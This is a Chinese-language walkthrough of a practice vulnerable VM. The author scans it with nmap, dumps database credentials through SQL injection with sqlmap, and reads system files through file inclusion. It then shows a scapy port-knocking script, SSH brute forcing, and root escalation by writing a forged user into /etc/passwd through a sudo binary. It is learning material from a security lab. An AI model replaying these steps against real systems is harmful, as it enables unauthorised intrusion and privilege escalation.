靶机信息
只有一个flag,官网上没给其他提示
信息收集
nmap 192.168.66.2-254
nmap 192.168.66.146 -A -p-
开放了80端口,22端口是filtered的,被过滤?
NMAP 六种端口状态解读_nmap filtered-CSDN博客
那来看看http服务吧
http(80)
页脚是空白的,插件也没有检测到用什么框架,自己写的吗?
display.php页面找到了一些用户信息
results.php页面能查找用户,觉得有sql注入的可能
manage.php页面是个登录页面,那么我们来看看results或者manage这两个页面有没有sql注入吧
搁results.php找到了sql注入
python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D Staff -T Users -C "Password,UserID,Username" --dump
+----------------------------------+--------+----------+
| Password | UserID | Username |
+----------------------------------+--------+----------+
| 856f5de590ef37314e7c3bdf6f8a66dc | 1 | admin |
+----------------------------------+--------+----------+
密文解开是:transorbital1
登录后台
页脚有个文件不存在,一下子就想到了之前的文件包含漏洞,也是页脚文件的包含
包含上了,但是吧,php伪协议试过了,用不了
那就随便翻翻系统的敏感文件吧
Linux常见的敏感目录 - 楼–楼 - 博客园 (cnblogs.com)
windows和linux敏感文件记录_渗透测试windows敏感文件-CSDN博客
linux调度器(十)——调度器/proc信息解读 - delay疯子 - 博客园 (cnblogs.com)
最后在/proc/sched_debug文件里找到了突破口
通过Knockd隐藏SSH,让黑客看不见你的服务器-CSDN博客
ssh(22)
好家伙,难怪ssh信息收集的时候显示filtered,原来使用knockd做了隐藏,那么我们需要端口敲门才行
包含knockd服务的配置文件来看开门条件
我们需要采用syn报文依次访问7469,8475,9842端口才可以开启22端口
python写个敲门脚本
from scapy.all import *
dst = "192.168.66.146"
sport = 5678
dports = [7469,8475,9842]
iface = "VMware Virtual Ethernet Adapter for VMnet1"
for i in dports:
dport=i
pkt = IP(dst = dst)/TCP(sport = sport, dport = dport , flags = 'S')
fb = sr (pkt,iface=iface ,timeout=1,verbose=0)
print("敲门成功")
运行后再次对目标进行探测,发现22端口已经是开放状态了
接着就是用户名和密码了,用户名我们可以从/etc/passwd文件里获取
密码我在后面又发现了一个新的数据库是users
python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D users -T UserDetails -C "firstname,id,lastname,password,reg_date,username" --dump
+-----------+----+------------+---------------+---------------------+-----------+
| firstname | id | lastname | password | reg_date | username |
+-----------+----+------------+---------------+---------------------+-----------+
| Mary | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym |
| Julie | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied |
| Fred | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf |
| Barney | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr |
| Tom | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc |
| Jerry | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym |
| Wilma | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf |
| Betty | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr |
| Chandler | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb |
| Joey | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt |
| Rachel | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg |
| Ross | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg |
| Monica | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag |
| Phoebe | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb |
| Scooter | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots |
| Donald | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor |
| Scott | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 |
+-----------+----+------------+---------------+---------------------+-----------+
用拿到的用户和密码去爆破ssh,所有的信息汇总一下,一共是43个已知用户名和18个已知密码
多爆破两次,出来了三个用户名
chandlerb:UrAG0D!
janitor:Ilovepeepee
joeyt:Passw0rd
提权
三个用户都能ssh登录,但是只在janitor用户里找到了线索
janitor用户home里有个.secrets-for-putin文件夹
里面有一个密码字典文件,我们给复制出来,然后接着用之前的用户名去爆破
又出来个账号密码
fredf:B4-Tru3-001
我们搁sudo -l里看见了提权的线索,一个可以以root权限执行的文件
是个可执行文件,大概率是test.py编译出来的
在/opt/devstuff目录下发现了test.py文件
简单,读一个文件然后将内容写入到另一个文件以root权限
linux默认不让空密码登录,所以先生成一个密码,然后仿造/etc/passwd文件的格式写一个root权限格式的用户
然后su切换过去就可以以root权限登陆了
cd /tmp
# 首先切换到tmp目录防止权限问题
openssl passwd -1 -salt 123 123
# 生成加盐密码
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 1.txt
# 伪造用户信息
sudo /opt/devstuff/dist/test/test /tmp/1.txt /etc/passwd
# 写入假用户信息进/etc/passwd文件
flag
小结
这个靶机最让我意想不到的是端口敲门,之前没接触过这种藏匿端口的方式
然后也接触到了很多linux系统的敏感文件位置
然后就是用户信息我们收集到就不要忽视,不断扩大自己的字典去爆破
DC系列告一段落了,打下来还是有很多收获的,扩宽了很多思路